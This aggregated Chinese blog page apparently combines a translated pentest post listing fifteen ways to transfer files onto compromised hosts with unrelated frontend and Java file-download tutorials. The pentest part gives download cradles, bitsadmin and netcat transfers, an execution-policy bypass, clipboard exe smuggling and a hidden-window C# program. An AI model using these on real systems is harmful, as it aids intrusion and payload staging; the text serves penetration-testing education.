15种下载文件的方法文件下载方法汇总超大文件下载
15种下载文件的方法&文件下载方法汇总&超大文件下载
- 15种下载文件的方法
- Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要开发后选项的渗透测试人员以及只想移动文件的系统管理员来说,这应该是有趣的。
- 在测试期间还有许多其他方法可以将文件移动到机器上,但是这个列表包括了我的一些最爱。以下是本博客中介绍的文件传输技术的摘要。
- 1. PowerShell文件下载
- 2. Visual Basic文件下载
- 3. Perl文件下载
- 4. Python文件下载
- 5. Ruby文件下载
- 6. PHP文件下载
- 7. FTP文件下载
- 8. TFTP文件下载
- 9. Bitsadmin文件下载
- 10. Wget文件下载
- 11. Netcat文件下载
- 12. Windows共享文件下载
- 13. 记事本对话框文件下载
- 14. 使用PowerShell和Nishang将Exe转换为Txt,将Txt转换为Exe
- 15. Csc.exe从文件编译源代码
- 文件下载方法汇总
- 文件下载方法汇总
- 1、单文件下载
- 1.1 方法一:window.open
- 适用范围:
- 代码:
- 1.2 方法二:二进制流转化
- 适用范围:
- 代码:
- 1.3 方法三:url下载
- 适用范围:
- 代码:
- TIPS:可能会遇到的问题
- 2、多文件/批量下载
- 2.1 window.open
- 适用范围:
- 代码:
- 2.2 二进制流转化
- 适用范围:
- 代码
- 2.3 使用jszip插件
- 适用范围
- 代码:
- 超大文件下载
15种下载文件的方法
Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要开发后选项的渗透测试人员以及只想移动文件的系统管理员来说,这应该是有趣的。
在测试期间还有许多其他方法可以将文件移动到机器上,但是这个列表包括了我的一些最爱。以下是本博客中介绍的文件传输技术的摘要。
- PowerShell文件下载
- Visual Basic文件下载
- Perl文件下载
- Python文件下载
- Ruby文件下载
- PHP文件下载或上传
- FTP文件下载
- TFTP文件下载
- Bitsadmin文件下载
- Wget文件下载
- Netcat文件下载
- Windows共享文件下载
- 记事本对话框文件下载
- 使用PowerShell和Nishang执行文本,文本到EXE
- Csc.exe从源文件编译
注意:通过SQL注入执行命令时,列出的许多技术也应被视为选项。对于多行步骤,将命令ECHO到文件,然后执行该文件。
1. PowerShell文件下载
PowerShell是管理员可以忽略的一种脚本语言。但是,它可以为知道如何使用它的人提供过多的选项和功能。最大的好处是它从Windows Server 2003开始就是Windows的原生。下面是一个简单脚本的示例,可用于从Internet上的Web服务器将文件下载到本地文件系统:
$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file")
要执行此脚本,请在PowerShell窗口中运行以下命令:
PS C:> .test.ps1
有时,PowerShell执行策略设置为受限制。在这种情况下,您将无法通过PowerShell执行命令或脚本…除非您使用以下命令将其设置为不受限制:
C:>powershell set-executionpolicy unrestricted
2. Visual Basic文件下载
自1998年以来,Visual Basic的最终版本已经成为Windows机器的标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。
Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:%homepath%file", 2 ' end with
Cscript是一个命令行Windows脚本宿主,允许您传递命令行选项并允许您设置脚本属性。没有必要使用它来在Windows 7和其他可能的程序中运行vbs脚本,但使用它可以让脚本在Windows XP及更高版本的计算机上运行。
要执行此脚本,请在命令shell中运行以下命令:
C:>cscript test.vbs
以下四种语言对于Windows机器来说是非本机语言。但是,如果您发现其上安装了任何这些语言的计算机(无论操作系统如何),您都可以利用这些脚本下载文件。
3. Perl文件下载
Perl是一种非常通用的脚本语言,几乎可以用于任何事情。使用Perl可以非常轻松地将文件下载到本地主机上。
#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# perl test.pl
4. Python文件下载
Python是一种通用脚本语言,强调代码可读性。与大多数脚本语言一样,目标是编写比编程语言所需的代码少的代码,同时仍然完成预期的任务。
#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# python test.py
5. Ruby文件下载
Ruby是一种面向对象的编程语言,可以用于创建框架(想想Metasploit)到简单的任务(如下载文件)。
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# ruby test.rb
6. PHP文件下载
PHP通常是用于Web开发的服务器端脚本语言,但也可以用作通用脚本语言。
#!/usr/bin/php <?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# php test.php
除非另有说明,否则将文件移动到目标计算机上的其余方法是通过本机操作系统功能。其中一些需要比其他步骤更多的步骤,但可以在不同的场景中使用以绕过某些限制。
7. FTP文件下载
对于此方法,攻击者希望将FTP命令回显到bash脚本,因为它通常需要用户交互才能输入用户名和密码。然后可以运行此bash脚本以在不需要交互的情况下运行所有步骤。
ftp 127.0.0.1 username password get file exit
8. TFTP文件下载
默认情况下,Windows Vista及更低版本中提供了一些简单的FTP。请注意,您必须设置要连接的相应服务器。它可以使用以下命令运行:
tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
9. Bitsadmin文件下载
Bitsadmin是一个Windows命令行工具,允许用户创建下载或上传任务。
bitsadmin /transfer n http://domain/file c:%homepath%file
10. Wget文件下载
Wget是一个Linux和Windows工具,允许非交互式下载。
wget http://example.com/file
11. Netcat文件下载
Netcat可以通过连接到特定的侦听端口来允许下载文件,该端口将通过连接传递文件的内容。请注意,此示例是特定于Linux的。
在攻击者计算机上,键入:
cat file | nc -l 1234
这将把文件的内容打印到本地端口1234.然后,只要有人连接到该端口,文件的内容就会被发送到连接IP。
应在攻击者所针对的计算机上运行以下命令:
nc host_ip 1234 > file
这会将目标连接到攻击者的计算机并接收将通过连接发送的文件。
12. Windows共享文件下载
Windows共享可以安装到驱动器号,然后可以通过后续复制命令复制文件。
要安装远程驱动器,请键入:
net use x: \127.0.0.1share /user:example.comuserID myPassword
13. 记事本对话框文件下载
如果您对计算机具有访问权限(RDP,物理等),但您的用户权限不允许您打开Web浏览器,则可以使用此技巧从URL或通用命名约定快速下载文件(UNC)路径。当您突破在终端上运行的锁定应用程序时,这也很有效。
打开记事本
转到文件 - 打开
在底部附近的“文件名”框中,键入文件的完整URL路径
记事本非常友好,可以为您提供此文件的内容
14. 使用PowerShell和Nishang将Exe转换为Txt,将Txt转换为Exe
这可能是我在尝试将exe移动到机器时使用的最喜欢的工具之一。Nishang允许您将exe转换为十六进制,然后使用PowerShell将十六进制重组为原始exe。我看到组策略不允许通过RDP剪贴板传输exes。虽然它提供了基本的保护,但它(有时)仍然允许通过剪贴板复制文本的能力。在这种情况下,您可以将Nishang PowerShell源复制到该框中的文件,并将扩展名重命名为.ps1。要复制的Nishang脚本是TexttoExe.ps1,它只有8行。你可以在这里下载Nishang。
要将exe转换为hex文件,请键入:
PS > .ExetoText.ps1 evil.exe evil.txt
打开evil.txt文件并复制内容。然后使用RDP剪贴板将内容粘贴到目标计算机。对Nishang中TexttoExe.ps1文件的内容执行相同操作。
要将hex文件转换回exe,请键入:
PS > .TexttoExe.ps1 evil.text evil.exe
这将导致您的邪恶exe被成功移动到目标机器。
15. Csc.exe从文件编译源代码
C sharp compiler(csc)是Windows中Microsoft .NET安装中包含的命令行编译器。如果您无法复制可执行文件,但仍可以复制文本,这可能很有用。使用此方法,结合SQL注入,可以将exe移动到框中,而不必尝试绕过可能阻止出站连接的出口过滤器或经过身份验证的代理。
此可执行文件的默认位置如下:
C:WindowsMicrosoft.NETFrameworkversion
使用以下示例代码,已编译的可执行文件将使用cmd.exe查询框中的本地用户,并将结果写入C:Temp目录中的文件。这显然可以修改为与盒子上的不同exe进行交互,或者完全重写以使用您自己的漏洞利用代码。
public class Evil { public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:\Temp\users.txt"; process.StartInfo = startInfo; process.Start(); } }
要编译源代码,请键入:
csc.exe /out:C:evilevil.exe C:evilevil.cs
出自:https://blog.netspi.com/15-ways-to-download-a-file/
引申:https://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
转载:https://blog.netspi.com/15-ways-to-download-a-file/
瑞恩甘德鲁德
原创时间:2014年6月16日
文件下载方法汇总
文件下载方法汇总
1、单文件下载
1.1 方法一:window.open
适用范围:
1、已经有了文件在服务器上的存储地址
2、文件类型不是图片也不是pdf,也不是.mp3等可以直接被浏览器以预览形式打开的文件类型。
3、需要打开一个新的tab页
代码:
这个重点其实不在前端方法,而在于文件服务器的配置。
以nginx为例
// nginx.confhttp {// ... 一些默认配置,安装nginx就帮你写好的不用管server {listen 8080;server_name citybrain;location /fileDownload {add_header Content-Disposition: 'attachment';add_header Content-Type application/octet-stream;root /data/file/;}}}
// 注意这里要用 window.open
const url = 'http://localhost:8080/fileDownload/example.zip';
window.open(url);
不要使用window.location.href = url
;下载。
会有两个问题:
-
1、会被项目中的路由router相关的js代码拦截到
-
2、即便router给放过去了,也成功下载了,用户要查看原来的页面还有做后退操作,太麻烦了。
1.2 方法二:二进制流转化
适用范围:
1、文件通过接口二进制流的形式返回
2、有明确的文件类型
3、不需要打开一个新的tab页
代码:
// blob.js axios配置
import axios from 'axios';const blob = axios .create({baseURL: process.env.VUE APP_ BASE_ API, // url = base url + request urlwithCredentials: true, // send cookies when cross - domain requests timeout:60000, //request timeoutresponseType: ' blob'
});blob.interceptors.request.use(config => config ,error => {// do something with request errorconsole. log(error)。// for debugreturn Promise.reject(error)}
)blob.interceptors.response.use(response => {const res = response.data;if (res) {return res;} else {Message.error({content: ' 数据接口异常,请联系管理员! ',duration: 5,return Promise. reject(new Error(' Error'));});}},error => {console.log('err' + error). // for debugMessage.error({content: '数据接口异常,请联系管理员!',duration: 5})return Promise.reject(error);}
)
export default blob;
// 获取二进制流的接口
export function downloadExcel(params) {return blob({url: '',method: 'post',data: Qs.stringify(param)})
}// 将二进制流转换为文件
downloadExcel(param).then((res) => {if (!res) return;let title = '文件名称.excel';downloadFile(res, title, 'application/vnd.ms-excel;charset=UTF-8');
});function downloadFile(data, title, type) {let blob = new Blob([res], {type: type});if (navigator.msSaveOrOpenBlob) {navigator.msSaveOrOpenBlob(blob, title);} else {let url = window.URL.createobjectURL(blob);let link = document.createElement('a');link.style.display = 'none';link.href = url;link.download = title;document.body.appendchild(link);link.click(); }
}
1.3 方法三:url下载
本质上是1.1和1.2方法的综合.
适用范围:
1、已经有了文件在服务器上的存储地址
2、文件类型不是图片也不是pdf,也不是.mp3等可以直接被浏览器以预览形式打开的文件类型。
3、不需要打开一个新的tab页
4、文件不能跨域
代码:
/**
* @description 根据url下载而不是预览(这种写法会有跨域问题)
* @param {*} url
* @param {*} callback回调方法
* @param {*} options { responseType: 'blob', name: ' 文件名.suffix'}
*/
export function fileAjax(url, callback, options) {let xhr = new XMLHttpRequest();xhr.open(' get', url, true);if (options .responseType) {xhr.responseType = options.responseType;}xhr.onreadystatechange = function() {if (xhr.readystate === 4 && xhr.status === 200) {downloadFile(xhr.response, options.name);if (callback && typeof callback === ' function') {callback(xhr);}}xhr.send();
}function downloadFile(content, filename) kwindow.URL = window.URL || window.webkitURL;let a = document. createElement( 'a' );let blob = new Blob([content]);//通过二进制文件创建urllet url = window.URL.createobjectURL(blob); a.href = url;a. download = filename ;a.click( );//销毁创建的urlwindow.URL.revoke0bjectURL (url);
}
TIPS:可能会遇到的问题
1、pdf, 图片等,使用window.open方法会被浏览器认为是预览而不是下载.
解决方法:
export function downloadByUrl(url, fileName) {let dom_a = document.createElement('a');dom_a.href = url;dom_a.download = filename; // 控制仅下载不预览的重要属性dom_a.click();//销毁生成的domdom_a.remove();
}
不过,很奇怪的事,上面这个方法在chrome中总是时好时坏。
2、多文件/批量下载
实现多文件下载,本质上是将多文件转化为单文件下载。
有两种思路:
1、后端将多个文件整合成一个压缩包文件.zip,然后给前端下载
2、前端多次调用单文件下载接口,由前端将获取的二进制流合成一个压缩包.
2.1 window.open
后端将多个文件整合成一个压缩包文件.zip,然后给前端下载
适用范围:
1、已经有了文件在服务器上的存储地址
2、文件类型不是图片也不是pdf,也不是.mp3等可以直接被浏览器以预览形式打开的文件类型。
3、需要打开一个新的tab页
代码:
window.open(url);
2.2 二进制流转化
后端将多个文件整合成一个压缩包文件.zip,然后给前端下载
实际上和1.2的二进制流转化是一模一样的,只不过最后下载的结果是一个包含多个文件的压缩包.zip文件
适用范围:
1、文件通过接口二进制流的形式返回
2、有明确的文件类型
3、不需要打开一个新的tab页
代码
// 接口中获取二进制流
// ...省略// 将二进制流转换为文件
downloadExcel(param).then((res) => {if (!res) return;let title = '文件名称.zip';downloadFile(res, title, 'application/zip');
});function downloadFile(data, title, type) {let blob = new Blob([res], {type: type});if (navigator.msSaveOrOpenBlob) {navigator.msSaveOrOpenBlob(blob, title);} else {let url = window.URL.createobjectURL(blob);let link = document.createElement('a');link.style.display = 'none';link.href = url;link.download = title;document.body.appendchild(link);link.click(); }
}
2.3 使用jszip插件
前端多次调用单文件下载接口,由前端将获取的二进制流合成一个压缩包.
https://stuk.github.io/jszip/
适用范围
1、能够将多文件下载转化成多个单文件下载
比如,你已经有了多个下载单文件的url
npm install file-saver jszip -S
代码:
import { saveAs } from 'file-saver';
let JSZIP = require('jszip');// for 循环调用接口 获取二进制流
let blobList = [...];// 调用jszip方法进行压缩
function compressZip(zipName, blobList) {let jsZip = new JSZIP();blobList.forEach((item, index) => {jsZip .file(`文件名${index}.png`, item)});jsZip.generateAsync({type:"blob"}).then(function(content) {// see FileSaver.jssaveAs(content, zipName);});
}
实际上我是使用失败了的。不知道是什么问题.如果下次还有机会使用的话可以看官网文档尝试一下.
超大文件下载
主要思路是将大文件分解成若干个小文件进行下载.
本功能由两个类实现:DownLoadManager和DownloadThreadTask实现. 其中DownLoadManager类主要负责下载任务的初始化和调度, DownloadThreadTask主要负责处理下载任务.
用到的主要工具类有
org.apache.http.impl.client.CloseableHttpClient 模拟httpClient客户端发送http请求,可以控制到请求文件的字节位置。
BufferedInputStream都熟悉,用它接受请求来的流信息缓存。
RandomAccessFile文件随机类,可以向文件写入指定位置的流信息。
DownLoadManager.java
package util;import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;import org.apache.commons.lang.exception.ExceptionUtils;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/*** 文件下载管理类*/
public class DownLoadManager{private static final Logger LOGGER = LoggerFactory.getLogger(DownLoadManager.class);/*** 每个线程下载的字节数*/private long unitSize = 1000 * 1024;private ExecutorService taskExecutor = Executors.newFixedThreadPool(10);private CloseableHttpClient httpClient;public DownLoadManager() {PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();cm.setMaxTotal(100);httpClient = HttpClients.custom().setConnectionManager(cm).build();}public static void main(String[] args) throws IOException {new DownLoadManager().doDownload();}/*** 启动多个线程下载文件*/public void doDownload() throws IOException {//要下载的urlString remoteFileUrl = "http://cn-sdjn-cu-v-04.acgvideo.com/vg4/e/60/21029304-1.mp4?expires=1504513500&platform=pc&ssig=4-pYfuQHUKppz3XGrw6Hnw&oi=1032322900&nfa=T7l/1XWXSxfil4KoioiGpQ==&dynamic=1&hfa=2073962963&hfb=Yjk5ZmZjM2M1YzY4ZjAwYTMzMTIzYmIyNWY4ODJkNWI=";String localPath = "E://temp//";String fileName = new URL(remoteFileUrl).getFile();System.out.println("远程文件名称:" + fileName);fileName = fileName.substring(fileName.lastIndexOf("/") + 1, fileName.length()).replace("%20", " ");System.out.println("本地文件名称:" + fileName);long fileSize = this.getRemoteFileSize(remoteFileUrl);this.createFile(localPath + System.currentTimeMillis() + fileName, fileSize);Long threadCount = (fileSize / unitSize) + (fileSize % unitSize != 0 ? 1 : 0);long offset = 0;CountDownLatch end = new CountDownLatch(threadCount.intValue());if (fileSize <= unitSize) {// 如果远程文件尺寸小于等于unitSizeDownloadThreadTask downloadThread = new DownloadThreadTask(remoteFileUrl, localPath + fileName, offset, fileSize, end, httpClient);taskExecutor.execute(downloadThread);} else {// 如果远程文件尺寸大于unitSizefor (int i = 1; i < threadCount; i++) {DownloadThreadTask downloadThread = new DownloadThreadTask(remoteFileUrl, localPath + fileName, offset, unitSize, end, httpClient);taskExecutor.execute(downloadThread);offset = offset + unitSize;}if (fileSize % unitSize != 0) {// 如果不能整除,则需要再创建一个线程下载剩余字节DownloadThreadTask downloadThread = new DownloadThreadTask(remoteFileUrl, localPath + fileName, offset, fileSize - unitSize * (threadCount - 1), end, httpClient);taskExecutor.execute(downloadThread);}}try {end.await();} catch (InterruptedException e) {LOGGER.error("DownLoadManager exception msg:{}", ExceptionUtils.getFullStackTrace(e));e.printStackTrace();}taskExecutor.shutdown();LOGGER.debug("下载完成!{} ", localPath + fileName);}/*** 获取远程文件尺寸*/private long getRemoteFileSize(String remoteFileUrl) throws IOException {long fileSize = 0;HttpURLConnection httpConnection = (HttpURLConnection) new URL(remoteFileUrl).openConnection();//使用HEAD方法httpConnection.setRequestMethod("HEAD");int responseCode = httpConnection.getResponseCode();if (responseCode >= 400) {LOGGER.debug("Web服务器响应错误!");return 0;}String sHeader;for (int i = 1;; i++) {sHeader = httpConnection.getHeaderFieldKey(i);if (sHeader != null && sHeader.equals("Content-Length")) {System.out.println("文件大小ContentLength:" + httpConnection.getContentLength());fileSize = Long.parseLong(httpConnection.getHeaderField(sHeader));break;}}return fileSize;}/*** 创建指定大小的文件*/private void createFile(String fileName, long fileSize) throws IOException {File newFile = new File(fileName);RandomAccessFile raf = new RandomAccessFile(newFile, "rw");raf.setLength(fileSize);raf.close();}
}
DownloadThreadTask.java
package util;import java.io.BufferedInputStream;
import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.concurrent.CountDownLatch;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.protocol.BasicHttpContext;
import org.apache.http.protocol.HttpContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;/*** 负责文件下载的类*/
public class DownloadThreadTask implements Runnable {private static final Logger LOGGER = LoggerFactory.getLogger(DownloadThreadTask.class);/*** 待下载的文件*/private String url = null;/*** 本地文件名*/private String fileName = null;/*** 偏移量*/private long offset = 0;/*** 分配给本线程的下载字节数*/private long length = 0;private CountDownLatch end;private CloseableHttpClient httpClient;private HttpContext context;/*** @param url* 下载文件地址* @param fileName* 另存文件名* @param offset* 本线程下载偏移量* @param length* 本线程下载长度*/public DownloadThreadTask(String url, String file, long offset, long length, CountDownLatch end, CloseableHttpClient httpClient) {this.url = url;this.fileName = file;this.offset = offset;this.length = length;this.end = end;this.httpClient = httpClient;this.context = new BasicHttpContext();LOGGER.debug("偏移量=" + offset + ";字节数=" + length);}public void run() {try {HttpGet httpGet = new HttpGet(this.url);httpGet.addHeader("Range", "bytes=" + this.offset + "-" + (this.offset + this.length - 1));httpGet.addHeader("Referer", "http://api.bilibili.com");CloseableHttpResponse response = httpClient.execute(httpGet, context);BufferedInputStream bis = new BufferedInputStream(response.getEntity().getContent());byte[] buff = new byte[1024];int bytesRead;File newFile = new File(fileName);RandomAccessFile raf = new RandomAccessFile(newFile, "rw");while ((bytesRead = bis.read(buff, 0, buff.length)) != -1) {raf.seek(this.offset);raf.write(buff, 0, bytesRead);this.offset = this.offset + bytesRead;}raf.close();bis.close();} catch (ClientProtocolException e) {LOGGER.error("DownloadThread exception msg:{}", ExceptionUtils.getFullStackTrace(e));} catch (IOException e) {LOGGER.error("DownloadThread exception msg:{}", ExceptionUtils.getFullStackTrace(e));} finally {end.countDown();LOGGER.info(end.getCount() + " is go on!");System.out.println(end.getCount() + " is go on!");}}
}
网络安全打工人
15种下载文件的方法
河童重工-YE
文件下载方法汇总
草船、借~
超大文件下载
相关文章:
15种下载文件的方法文件下载方法汇总超大文件下载
15种下载文件的方法&文件下载方法汇总&超大文件下载 15种下载文件的方法Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要…...
Windows安装配置Rust(附CLion配置与运行)
Windows安装配置Rust(附CLion配置与运行) 前言一、下载二、安装三、配置标准库!!!四、使用 CLion 运行 rust1、新建rust项目2、配置运行环境3、运行 前言 本文以 windows 安装为例,配置编译器为 minGW&…...
【ROS】例说mapserver静态地图参数(对照Rviz、Gazebo环境)
文章目录 例说mapserver静态地图参数1. Rviz中显示的地图2. mapserver保存地图详解3. 补充实验 例说mapserver静态地图参数 1. Rviz中显示的地图 在建图过程中,rviz会显示建图的实时情况,其输出来自于SLAM,浅蓝色区域为地图大小,…...
【RapidAI】P0 项目总览
RapidAI 项目总览 ** 内容介绍 ** Author: SWHL、omahs Github: https://github.com/RapidAI/Knowledge-QA-LLM/ CSDN Author: 脚踏实地的大梦想家 UI Demo: ** 读者须知 ** 本系列博文,主要内容为将 RapidAI 项目逐…...
初识c++
文章目录 前言一、C命名空间1、命名空间2、命名空间定义 二、第一个c程序1、c的hello world2、std命名空间的使用惯例 三、C输入&输出1、c输入&输出 四、c中缺省参数1、缺省参数概念2、缺省参数分类3、缺省参数应用 五、c中函数重载1、函数重载概念2、函数重载应用 六、…...
【面试经典150题】跳跃游戏Ⅱ
题目链接 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: 0 < j < nums[i]i j < n 返回到达 nums[n…...
20230831-完成登录框的按钮操作,并在登录成功后进行界面跳转
登录框的按钮操作,并在登录成功后进行界面跳转 app.cpp #include "app.h" #include <cstdio> #include <QDebug> #include <QLineEdit> #include <QLabel> #include <QPainter> #include <QString> #include <Q…...
039 - sql逻辑操作符
前提: 做两个表employee和movie,用来练习使用; 表一:employee -- 创建表employee CREATE TABLE IF NOT EXISTS employee(id INT NOT NULL AUTO_INCREMENT,first_name VARCHAR(100) NOT NULL,last_name VARCHAR(100) NOT NULL,t…...
DbLInk使用
DbLInk介绍 DbLink是一种数据库连接技术,在不同的数据库之间进行数据传输和共享。它提供了一种透明的方法,让一个数据库访问另一个数据库的数据。 DbLink的优点是可以在多个数据库间实现数据共享,并且为不同数据库间的数据访问提供了便捷的…...
2.3 Vector 动态数组(迭代器)
C数据结构与算法 目录 本文前驱课程 1 C自学精简教程 目录(必读) 2 Vector<T> 动态数组(模板语法) 本文目标 1 熟悉迭代器设计模式; 2 实现数组的迭代器; 3 基于迭代器的容器遍历; 迭代器语法介绍 对迭…...
【ES6】Proxy的高级用法,实现一个生成各种 DOM 节点的通用函数dom
下面的例子则是利用get拦截,实现一个生成各种 DOM 节点的通用函数dom。 <body> </body><script>const dom new Proxy({}, {get(target, property) {return function(attrs {}, ...children) {const el document.createElement(property);for …...
气象站是什么设备?功能是什么?
气象站是一种用于测量和记录气象数据的设备。它通常是由各种传感器及其数据传输设备、固定设备和供电设备组成,可以测量风速、风向、温度、湿度、气压、降水量等气象要素,并将这些数据记录下来,以便进一步分析和研究。 气象站通常设置在广阔…...
227. 基本计算器 II Python
文章目录 一、题目描述示例 1示例 2示例 3 二、代码三、解题思路 一、题目描述 给你一个字符串表达式 s ,请你实现一个基本计算器来计算并返回它的值。 整数除法仅保留整数部分。 你可以假设给定的表达式总是有效的。所有中间结果将在 [-2^31, 2^31 - 1]的范围内…...
python中字典常用函数
字典常用函数 cmp(dict1,dict2) (已删除,直接用>,<,即可) 如果两个字典的元素相同返回0,如果字典dict1大于字典dict2返回1,如果字典dict1小于字典dict2返回-1。 先比较字典的长度,然后比较键&#x…...
leetcode88合并两个有序数组
题目: 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2,另有两个整数 m 和 n ,分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中,使合并后的数组同样按 非递减顺序 排列。 注意:最终&…...
Ceph入门到精通-Nginx 大量请求 延迟优化
优化nginx以处理大量请求并减少延迟可以通过以下几种方法实现: 调整worker_processes和worker_connections参数:增加worker_processes值可以增加nginx的进程数量,提高并发处理能力。增加worker_connections参数的值可以增加每个worker进程可…...
Vulnstack----5、ATTCK红队评估实战靶场五
文章目录 一 环境搭建二 外网渗透三 内网信息收集3.1 本机信息收集3.2 域内信息收集 四 横向移动4.1 路由转发和代理通道4.2 抓取域用户密码4.3 使用Psexec登录域控4.4 3389远程登录 五、痕迹清理 一 环境搭建 1、项目地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/7/ …...
QT 5.8
QT与Qt Creator,前者是框架,类似与MFC,而后者是QT的编译器,也可以使用Visual studio编辑,编译需要其他的 Index of /new_archive/qt/5.8/5.8.0...
AIGC+思维导图:提升你的学习与工作效率的「神器」
目录 一、产品简介 二、功能介绍 2.1 AI一句话生成思维导图 2.2百万模版免费用 2.3分屏视图,一屏读写 2.4团队空间,多人协作 2.5 云端跨平台化 2.6 免费够用,会员功能更强大 2.7 支持多种格式的导入导出 三、使用教程 3.1 使用AI…...
javaScript:DOM元素的获取(静态/动态获取)
目录 一.dom元素获取的意义与使用场景 使用场景(绝大多数js操作都需要dom操作) 总结/疑问解答! 二.DOM元素获取的常用方法(重点) 获取dom元素(动态) document.gerElementbyId() docume…...
数据结构前言
一、什么是数据结构? 数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。 上面是百度百科的定义,通俗的来讲数据结构就是数据元素集合与数据元素集合或者数据元素与数据元素之间的组成形式。 举个…...
Docker基于alpine带glibc的小型容器image
由于程序是C写的,gc编译,找了几个容器,生成比较小的是debianslim和ubuntu,生成后的大小分别为88MB,和91MB,还是太大了,于是想起一些小型容器如busybox或者alpine自己装glibc,但是试了…...
Nginx教程
Nginx教程 01-Nginx简介02-windows安装Nginx03-Nginx目录结构04-Linux安装Nginx05-linux下源码安装nginx06-linux下nginx配置07-在docker中安装nginx08-源码安装和yum安装的区别09-Nginx运行组和运行用户10-卸载nginx11-nginx的基本原理和架构12-nginx是如何处理请求的13-nginx…...
直播预约|哪吒汽车岳文强:OEM和Tier1如何有效对接网络安全需求
信息安全是一个防护市场。如果数字化程度低,数据量不够,对外接口少,攻击成本高,所获利益少,自然就没有什么攻击,车厂因此也不需要在防护上花费太多成本。所以此前尽管说得热闹,但并没有太多真实…...
hiveserver2经常挂断的原因
hiveserver2经常挂断的原因 HiveServer2 经常挂断可能有多种原因,以下是一些可能导致挂断的常见原因: 资源不足:HiveServer2 需要足够的内存和 CPU 资源来处理查询请求。如果资源不足,可能会导致 HiveServer2 挂断。请确保在配置…...
openeuler 23.03 安装mysql 8.X
遇到一堆问题:直接从mysql官下载,都不行。下列是失败的: mysql80-community-release-el8-1.noarch.rpm mysql-8.0.34-1.el8.x86_64.rpm-bundle.tar mysql-8.1.0-1.el9.x86_64.rpm-bundle.tar 后来想从openeuler下载应该靠谱:ht…...
网络安全—0基础学习笔记(黑客)
一、前言 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多 google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答. 4.遇到实在搞不懂的,可以先放放,以后再来解决. …...
react HashRouter 与 BrowserRouter 的区别及使用场景
一、简介 在单页面应用中,如何在切换页面后,不刷新浏览器呢?为了解决这个问题,有两种方法,就是hash路由模式、history路由模式,而 react router 的两种路由就是使用这两种路由模式。 二、区别 HashRouter…...
痞子衡嵌入式:恩智浦i.MX RT1xxx系列MCU硬件那些事(2.3)- 串行NOR Flash下载算法(J-Link工具篇)
https://www.cnblogs.com/henjay724/p/13770137.html 大家好,我是痞子衡,是正经搞技术的痞子。今天痞子衡给大家介绍的是J-Link工具下i.MXRT的串行NOR Flash下载算法设计。 在i.MXRT硬件那些事系列之《在串行NOR Flash XIP调试原理》一文中,痞…...
多目标应用:基于多目标向日葵优化算法(MOSFO)的微电网多目标优化调度MATLAB
一、微网系统运行优化模型 参考文献: [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、多目标向日葵优化算法 多目标向日葵优化算法(Multi-objective sunflower optimization,MOS…...
做淘客网站的/360浏览器网页版入口
题目背景 John的农场缺水了!!! 题目描述 农民John 决定将水引入到他的n(1<n<300)个牧场。他准备通过挖若干井,并在各块田中修筑水道来连通各块田地以供水。在第i 号田中挖一口井需要花费W_i(1<W_i<100,000)元。连接i …...
溧阳做网站的哪家好/郑州网站制作推广公司
